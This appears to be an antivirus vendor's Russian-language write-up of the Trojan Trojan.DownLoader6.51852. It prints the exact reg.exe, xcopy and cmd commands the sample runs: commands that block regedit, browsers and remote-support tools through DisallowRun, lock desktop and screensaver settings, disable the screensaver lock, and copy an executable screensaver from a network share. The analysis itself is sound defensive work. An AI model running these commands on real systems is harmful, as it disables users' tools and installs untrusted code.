Trojan.DownLoader6.51852

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Control Panel\Desktop] 'SCRNSAVE.EXE' = '<SYSTEM32>\COMELG~1.SCR'

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "16" /t REG_SZ /d "TomTomHOME.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "15" /t REG_SZ /d "SoftwareUpdate.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "14" /t REG_SZ /d "spider.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "19" /t REG_SZ /d "googledesktop.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "18" /t REG_SZ /d "ares.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "17" /t REG_SZ /d "livecall.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "10" /t REG_SZ /d "hrtzzm.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "9" /t REG_SZ /d "mshearts.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "8" /t REG_SZ /d "freecell.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "13" /t REG_SZ /d "Rvsezm.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "12" /t REG_SZ /d "shvlzm.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "11" /t REG_SZ /d "chkrzm.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "20" /t REG_SZ /d "regedit.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "29" /t REG_SZ /d "LogMeIn.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "28" /t REG_SZ /d "Dropbox.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "27" /t REG_SZ /d "keygen.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "32" /t REG_SZ /d "MyTomTomSA.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "31" /t REG_SZ /d "LMIGuardian.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "30" /t REG_SZ /d "LogMeInSystray.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "23" /t REG_SZ /d "Chromesetup.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "22" /t REG_SZ /d "Chrome.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "21" /t REG_SZ /d "firefox.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "26" /t REG_SZ /d "msimn.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "25" /t REG_SZ /d "hofmann.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "24" /t REG_SZ /d "safari.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispBackgroundPage /t REG_DWORD /d 00000001 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /t REG_SZ /d %WINDIR%\comelgrup.bmp /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d "2" /f
<SYSTEM32>\xcopy.exe \\192.168.10.130\netlogon\comelgrup.scr <SYSTEM32>\ /Y /D
<SYSTEM32>\powercfg.exe /setactive comelgrup
<SYSTEM32>\powercfg.exe /import comelgrup /FILE \\192.168.10.130\netlogon\ENERGY
<SYSTEM32>\reg.exe add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d %WINDIR%\comelgrup.bmp /f
<SYSTEM32>\xcopy.exe \\192.168.10.130\netlogon\comelgrup.bmp %WINDIR%\ /Y /D
<SYSTEM32>\cmd.exe /c ""%TEMP%\ojksqoah.bat" "
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoActiveDesktop /t REG_DWORD /d 00000001 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 00000001 /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "4" /t REG_SZ /d "sol.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "3" /t REG_SZ /d "pinball.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "2" /t REG_SZ /d "msmsgs.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "7" /t REG_SZ /d "winmine.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "6" /t REG_SZ /d "bckgzm.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "5" /t REG_SZ /d "emule.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d <SYSTEM32>\COMELG~1.SCR /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d 180 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "msnmsgr.exe" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 00000001 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispScrSavPage /t REG_DWORD /d 00000001 /f

Изменяет следующие настройки проводника Windows (Windows Explorer):

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoActiveDesktop' = '00000001'

Изменения в файловой системе:

Создает следующие файлы:

%TEMP%\ojksqoah.bat

Сетевая активность:

Подключается к:

'<IP-адрес в локальной сети>':80
'<IP-адрес в локальной сети>':445

Технології

Терміни

Навчання

Міфи

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней